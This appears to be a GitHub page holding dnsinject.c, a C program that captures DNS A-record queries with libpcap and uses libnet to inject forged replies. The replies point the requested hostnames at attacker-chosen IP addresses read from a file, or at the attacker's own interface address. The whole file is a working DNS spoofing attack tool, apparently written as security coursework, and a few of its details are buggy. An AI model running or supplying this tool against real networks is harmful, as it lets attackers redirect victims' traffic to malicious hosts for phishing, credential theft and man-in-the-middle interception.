-
Notifications
You must be signed in to change notification settings - Fork 0
/
dnsinject.c
executable file
·391 lines (318 loc) · 11.8 KB
/
dnsinject.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pcap.h>
#include <pcap/pcap.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <net/ethernet.h>
#include <netinet/ether.h>
#include <libnet.h>
#include <resolv.h>
#include <stdint.h>
#include <unistd.h>
#include "constants.h"
#define LOG
// #define DEBUG
// global variables
int forgedHostNames = 0; // number of hostNames in the hostNames file
char ips[MAX_FORGED_HOSTNAMES][IP_MAX_LENGTH]; // spoofed/fake IPs in the hostNames file
char hostNames[MAX_FORGED_HOSTNAMES][MAX_HOSTNAME_LENGTH]; // hostnames to be mapped to spoofed/fake IPs
char *interface = NULL; // interface to be captured
//function headers
void readHostNamesFile(char *hostNamesFile);
void process_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);
int main(int argc, char **argv) {
int iFlag = 0;
int fFlag = 0;
char *hostNamesFile = NULL;
char *BPFExpression = NULL;
char dashI[] = "-i";
char dashF[] = "-f";
// Handling the program aguments
int counter = 1;
if (counter < argc && strcmp(dashI, argv[counter]) == 0) {
iFlag = 1;
counter++;
interface = argv[counter];
counter++;
}
if (counter < argc && strcmp(dashF, argv[counter]) == 0) {
fFlag = 1;
counter++;
hostNamesFile = argv[counter];
counter++;
}
if (counter < argc) {
int temp = counter;
int bpfExpressionCounter = 0;
while (temp < argc) {
bpfExpressionCounter += (strlen(argv[temp])) + 1;
temp++;
}
bpfExpressionCounter--;
BPFExpression = (char *) malloc(bpfExpressionCounter * sizeof(char));
int c = 0;
while (counter < argc) {
int c2;
for (c2 = 0; c2 < strlen(argv[counter]); c2++) {
BPFExpression[c++] = (argv[counter])[c2];
}
BPFExpression[c++] = ' ';
counter++;
}
BPFExpression[--c] = '\0';
}
// BPFExpression = "udp dst port 53";
#ifdef DEBUG
printf("Debug::iFlag = %d, interface = %s, fFlag = %d, hostNamesFile = %s, BPFExpression = %s.\n",
iFlag, interface, fFlag, hostNamesFile, BPFExpression);
#endif
// END handling the program aguments
char errbuf[PCAP_ERRBUF_SIZE]; /* error buffer */
pcap_t *handle; /* packet capture handle */
bpf_u_int32 mask; /* subnet mask */
bpf_u_int32 net; /* ip */
if (iFlag != 1) { // reading packets live from the default interface
interface = pcap_lookupdev(errbuf);
if (interface == NULL) {
fprintf(stderr, "Error::Couldn't find default device: %s\n", errbuf);
exit(EXIT_FAILURE);
}
#ifdef DEBUG
printf("Debug::default interface is %s\n", interface);
#endif
}
if (pcap_lookupnet(interface, &net, &mask, errbuf) == -1) {
fprintf(stderr, "Error::Couldn't get netmask for device %s: %s\n", interface, errbuf);
net = 0;
mask = 0;
exit(EXIT_FAILURE);
}
#ifdef DEBUG
printf("Debug::Interface: %s\n", interface);
#endif
/*
pcap_open_live() is used to obtain a packet capture handle to look at packets on the network.
*/
handle = pcap_open_live(interface, SNAP_LEN, 1, 1000, errbuf);
if (handle == NULL) {
fprintf(stderr, "Error::Couldn't open device %s: %s\n", interface, errbuf);
exit(EXIT_FAILURE);
}
// /* make sure we're capturing on an Ethernet interface */
// if (pcap_datalink(handle) != DLT_EN10MB) {
// fprintf(stderr, "Error::%s is not an Ethernet\n", interface);
// exit(EXIT_FAILURE);
// }
struct bpf_program fp; /* compiled filter program (expression) */
if (BPFExpression != NULL) {
/* compile the filter expression */
if (pcap_compile(handle, &fp, BPFExpression, 0, net) == -1) {
fprintf(stderr, "Error::Couldn't parse filter %s: %s\n", BPFExpression, pcap_geterr(handle));
exit(EXIT_FAILURE);
}
/* apply the compiled filter */
if (pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr, "Error::Couldn't install filter %s: %s\n", BPFExpression, pcap_geterr(handle));
exit(EXIT_FAILURE);
}
}
if (fFlag) {
readHostNamesFile(hostNamesFile);
if (forgedHostNames == -1) {
printf("Error::Couldn't read the hostNames file !!\n");
exit(EXIT_FAILURE);
}
#ifdef DEBUG
int i;
for (i = 0; i < forgedHostNames; i++) {
printf("Debug::[%s --> %s]\n", hostNames[i], ips[i]);
}
#endif
}
pcap_loop(handle, 0, process_packet, NULL);
/* cleanup */
if (BPFExpression != NULL) {
pcap_freecode(&fp);
}
pcap_close(handle);
return 0;
}
// This function gets called for each and every packet received.
// We will filter the packets which are not (udp && port == 53)
// For those packets which are dns-query, we will see whether:
// - it is a query type A
// - It's host name is inside the file
// If the two conditions are valid, a spoofed reply will be forged to the network
void process_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
struct ip *ip; // for IP header
ip = (struct ip *) (packet + SIZE_ETHERNET);
if (ip->ip_p != IPPROTO_UDP) {
#ifdef DEBUG
// printf("process_packet::Debug::The packet is not of type UDP. So, it is ignored.\n");
#endif
return;
}
struct udphdr *udp; // for UDP header
udp = (struct udphdr *) (packet + SIZE_ETHERNET + LIBNET_IPV4_H);
if (ntohs(udp->dest) != 53) {
#ifdef DEBUG
// printf("process_packet::Debug::The packet is of type UDP. However, it's port is not 53 (it is %d). So, it is ignored.\n", udp->dest);
#endif
return;
}
struct dnshdr *dns; // for DNS header
dns = (struct dnshdr *) (packet + SIZE_ETHERNET + LIBNET_IPV4_H + LIBNET_UDP_H);
char *dnsPayload; // pointer to DNS payload part of the packet
dnsPayload = (char *) (packet + SIZE_ETHERNET + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DNS_H);
int dnsPayloadSize = strlen(dnsPayload);
char hostName[MAX_HOSTNAME_LENGTH];
/*
source: http://linux.die.net/man/3/dn_expand
The dn_expand(unsigned char *msg, unsigned char *eomorig,unsigned char *comp_dn, char *exp_dn,int length)
function expands the compressed domain name comp_dn to a full domain name, which is placed in the buffer
exp_dn of size length. The compressed name is contained in a query or reply message, and msg points to
the beginning of the message.
*/
char *dnsPayload_bckup = dnsPayload;
memset(hostName, '\0', sizeof(hostName));
if (dn_expand((u_char *)dns, packet + (int)(header->caplen), dnsPayload,
hostName, sizeof(hostName)) < 0) {
printf("process_packet::Error:Couldn't expand the compressed domain name.\n");
return;
}
dnsPayload = dnsPayload_bckup;
hostName[dnsPayloadSize-1]='\0';
#ifdef DEBUG
printf("process_packet::Debug::DNS request detected (from %s:%d -> %s:%d), asking for %s.\n", inet_ntoa(ip->ip_src), ntohs(udp->source),
inet_ntoa(ip->ip_dst), ntohs(udp->dest), hostName);
#endif
if (((int)*(dnsPayload+dnsPayloadSize+2)) != T_A) {
#ifdef DEBUG
printf("process_packet::Debug:: DNS Query is not type A. So, it is ignored.\n");
#endif
return ;
}
// adding "www." to the beginning of the host name in case it doesn't have it
char tempHostName[MAX_HOSTNAME_LENGTH];
if (strncmp(hostName, "www", 3) != 0) { // it doesn't have www at the beginning
memset(tempHostName, '\0', sizeof(tempHostName));
strncpy(tempHostName, "www.", 4);
strncpy(tempHostName + 4, hostName, sizeof(hostName));
strncpy(hostName, tempHostName, sizeof(tempHostName));
}
#ifdef DEBUG
printf("process_packet::Debug::the hostName is %s.\n", hostName);
#endif
int index;
if (forgedHostNames > 0) { // we have list of hostNames to be forged with spoofed dns reply
for (index = 0; index < forgedHostNames; index++) {
if (strcmp(hostNames[index], tempHostName) == 0) {
break;
}
}
if (index == forgedHostNames) {
printf("process_packet::Debug::The hostName (%s) is not among the hostNames determined in the file. So, it is ignored.\n", tempHostName);
return;
}
}
char ip_address[IP_MAX_LENGTH];
if (forgedHostNames == 0) {
int fd;
struct ifreq ifr;
fd = socket(AF_INET, SOCK_DGRAM, 0);
/* I want to get an IPv4 IP address */
ifr.ifr_addr.sa_family = AF_INET;
/* I want IP address attached to the determined interface */
strncpy(ifr.ifr_name, interface, IFNAMSIZ-1);
ioctl(fd, SIOCGIFADDR, &ifr);
close(fd);
strcpy(ip_address, inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr));
}
else {
strcpy(ip_address, ips[index]);
}
#ifdef DEBUG
printf("process_packet::Debug::The spoofed IP is %s.\n", ip_address);
#endif
// Now, it is time to forge the spoofed packet towards the source of query
libnet_t *handler; /* Libnet handler */
/* getting the address in network order */
u_long rData = libnet_name2addr4(handler, ip_address, LIBNET_DONT_RESOLVE);
if (rData == -1) {
printf("process_packet::Erorr::Resolving name failed: %s.\n", libnet_geterror(handler));
return;
}
// Making the spoofed DNS Response
u_char response_payload[512];
// +5 to include the Type and class field !!
memcpy(response_payload, dnsPayload, dnsPayloadSize + 5);
memcpy(response_payload + dnsPayloadSize + 5,"\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x04\x00\x04", 12);
*((u_long *)(response_payload + dnsPayloadSize+17)) = rData;
int dnsResponsePayloadSize = dnsPayloadSize + 21;
int packetSize = LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DNS_H + dnsResponsePayloadSize;
char errbuf_libnet[LIBNET_ERRBUF_SIZE];
handler = libnet_init(LIBNET_RAW4, interface, errbuf_libnet);
if (handler == NULL) {
printf("process_packet::Error::libnet_init failed: %s.\n", errbuf_libnet);
}
libnet_ptag_t dns_tag = 0;
dns_tag = libnet_build_dnsv4(
LIBNET_DNS_H, ntohs((short) dns->id),0x8580, 1, 1, 0, 0, response_payload, dnsResponsePayloadSize, handler, dns_tag);
if (dns_tag == -1) {
printf("process_packet::Error::Building DNS header failed: %s.\n", libnet_geterror(handler));
return;
}
libnet_ptag_t udp_tag = 0;
udp_tag = libnet_build_udp(ntohs((u_short) udp->dest), ntohs((u_short) udp->source), packetSize - LIBNET_IPV4_H, 0, NULL, 0, handler, udp_tag);
if (udp_tag ==-1) {
printf("process_packet::Error::Building UDP header failed: %s\n", libnet_geterror(handler));
return;
}
libnet_ptag_t ip_tag = 0;
ip_tag = libnet_build_ipv4(packetSize, 0, 8964, 0, 64, IPPROTO_UDP, 0, (u_long) ip->ip_dst.s_addr, (u_long) ip->ip_src.s_addr, NULL, 0, handler, ip_tag);
if (ip_tag == -1) {
printf("process_packet::Error::Building IP header failed: %s\n", libnet_geterror(handler));
return;
}
int inject_size = libnet_write(handler);
if (inject_size == -1) {
printf("process_packet::Error::Write failed: %s\n", libnet_geterror(handler));
return;
}
#ifdef LOG
printf("process_packet::Log::Spoofed DNS response injected for the following DNS-request:\n\t(from %s:%d -> %s:%d), asking for hostName = %s, the fake IP address is %s.\n",inet_ntoa(ip->ip_src), ntohs(udp->source),
inet_ntoa(ip->ip_dst), ntohs(udp->dest), hostName, ip_address);
#endif
libnet_destroy(handler);
}
// if we have "-f" option, this function reads the file and fills the two arrays ips and hostNames (global variables)
void readHostNamesFile(char *hostNamesFile) {
FILE *filePtr = fopen(hostNamesFile, "r");
if (filePtr == NULL) {
printf("readHostNamesFile::Error in opening the hostNames file !!!\n");
forgedHostNames = -1;
return;
}
forgedHostNames = 0;
while (!feof(filePtr)) {
fscanf(filePtr, "%s", ips[forgedHostNames]);
fscanf(filePtr, "%s", hostNames[forgedHostNames]);
// adding "www." at the beginning of the hostName in case, it doesn't have
if (strncmp(hostNames[forgedHostNames], "www", 3) != 0) {
char tempHostName[MAX_HOSTNAME_LENGTH];
strncpy(tempHostName, "www.", 4);
strcpy(tempHostName + 4, hostNames[forgedHostNames]);
strcpy(hostNames[forgedHostNames], tempHostName);
}
(forgedHostNames)++;
}
#ifdef DEBUG
printf("forgedHostNames = %d\n", forgedHostNames);
#endif
return;
}